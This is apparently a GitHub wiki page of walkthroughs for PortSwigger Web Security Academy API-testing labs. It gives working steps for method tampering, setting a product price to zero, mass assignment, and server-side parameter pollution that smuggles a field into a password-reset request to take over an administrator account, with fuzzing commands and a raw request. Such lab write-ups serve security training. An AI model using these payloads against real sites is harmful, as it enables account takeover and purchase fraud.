API testing - gachikuku/portswigger GitHub Wiki
Apprentice lab:
Exploiting an API endpoint using documentation
Apprentice lab:
Exploiting an API endpoint using documentation
To solve the lab, find the exposed API documentation and delete carlos. You can log in to your own account using the following credentials: wiener:peter.
-
Solution
- Login as
wiener:peter. - Recon, find out an endpoint for an api. It's
/api - Read it's documentation.
- Do
e5to change the verb toDELETE(flow.set @focus method VERB) and send that request to/api/user/calorsendpoint.
- Login as
Practitioner lab:
Finding and exploiting an unused API endpoint
Practitioner lab:
Finding and exploiting an unused API endpoint
To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.
-
Solution
- Log in as
wiener:peter. - Browse to the desired item, and observe the requests made.
/api/products/1/pricelooks interesting. - Using mitmproxy
e5to change the method of the request. After trying couple of MethodsPATCHworks. - Follow the error messages.
e8to add a request headercontent-type:application/json. - Send a json PATCH request.
{ "price": 0 } - STATUS 200, price is updated to 0 dollars.
- Add item to cart and check the f**k out.
- Log in as
Practitioner lab:
Exploiting a mass assignment vulnerability
Practitioner lab:
Exploiting a mass assignment vulnerability
To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.
-
Solution
- Log in as
wiener:peter - Place an order like someone would normally do. Study the requests made.
- Extra info for API can be found in the
/apiendpoint. - The GET
/api/checkoutresponse reveals parameters in json format, which should be tinkered further. - Change the parameters and see what works.
replay the requests and also change the method to POST. - HTTP
STATUS 201lab solved.
- Log in as
Practitioner lab:
Exploiting server-side parameter pollution in a query string
Practitioner lab:
Exploiting server-side parameter pollution in a query string
To solve the lab, log in as the administrator and delete carlos.
-
Run a quick overview on the lab
echo "https://uuid.web-security-academy.net/" | hakrawler | sort -u
Notice an interesting endpoint
/forgot-password, which otherwise could be found by exploring the application. -
SSPP the query string of the POST request of
/forgot-passwordendpoint. Quick way to URL encode characters.echo -n "<insert character>" | jq -sRr @uri
-
Export (
x4) a raw_request to a file (request.txt). -
FUZZ using Server-side variable names payload, to find out the value of
field.ffuf -request request.txt -w serversidevariablenames.txt -u https://uuid.web-security-academy.net/forgot-password -c
request.txt
POST https://uuid.web-security-academy.net/forgot-password HTTP/2.0 user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 accept: */* accept-language: en-US,en;q=0.5 accept-encoding: gzip, deflate, br, zstd referer: https://uuid.web-security-academy.net/forgot-password content-type: x-www-form-urlencoded content-length: 73 origin: https://uuid.web-security-academy.net cookie: session=bx0O0PYLOGi1GC6qvityfzVv7Ex3VCdC sec-fetch-dest: empty sec-fetch-mode: cors sec-fetch-site: same-origin priority: u=0 te: trailers csrf=YCtubTgoFPyal8fAO0kXNuKC90RZvtTi&username=administrator%26field=FUZZ%23 -
Through BF,
usernameandemailare found as valid fields, because the response was the same as original. -
Inspect
/static/js/forgotPassword.jsto find out thatfieldcan takereset_tokenas a parameter.JavaScript source code.
let forgotPwdReady = (callback) => { if (document.readyState !== "loading") callback(); else document.addEventListener("DOMContentLoaded", callback); } function urlencodeFormData(fd){ let s = ''; function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); } for(let pair of fd.entries()){ if(typeof pair[1]=='string'){ s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]); } } return s; } const validateInputsAndCreateMsg = () => { try { const forgotPasswordError = document.getElementById("forgot-password-error"); forgotPasswordError.textContent = ""; const forgotPasswordForm = document.getElementById("forgot-password-form"); const usernameInput = document.getElementsByName("username").item(0); if (usernameInput && !usernameInput.checkValidity()) { usernameInput.reportValidity(); return; } const formData = new FormData(forgotPasswordForm); const config = { method: "POST", headers: { "Content-Type": "x-www-form-urlencoded", }, body: urlencodeFormData(formData) }; fetch(window.location.pathname, config) .then(response => response.json()) .then(jsonResponse => { if (!jsonResponse.hasOwnProperty("result")) { forgotPasswordError.textContent = "Invalid username"; } else { forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`; forgotPasswordForm.className = ""; forgotPasswordForm.style.display = "none"; } }) .catch(err => { forgotPasswordError.textContent = "Invalid username"; }); } catch (error) { console.error("Unexpected Error:", error); } } const displayMsg = (e) => { e.preventDefault(); validateInputsAndCreateMsg(e); }; forgotPwdReady(() => { const queryString = window.location.search; const urlParams = new URLSearchParams(queryString); const resetToken = urlParams.get('reset-token'); if (resetToken) { window.location.href = `/forgot-password?reset_token=${resetToken}`; } else { const forgotPasswordBtn = document.getElementById("forgot-password-btn"); forgotPasswordBtn.addEventListener("click", displayMsg); } });
-
Make another POST request to
/forgot-passwordendpoint but with query string as shown belowcsrf=AonxPpz8VTPuuniYxXhxTIZChWrKwBRk&username=administrator%26field=reset_token%23 -
Use the reset_token that has been generated from the POST request like so
/forgot-password?reset_token=<token>
-
Set a password, login in as
administrator, and access the/adminpanel to delete poorcarlos.
NOTE:
Many editors will silently add a newline to the final line of a document (I'm looking at you, Vim).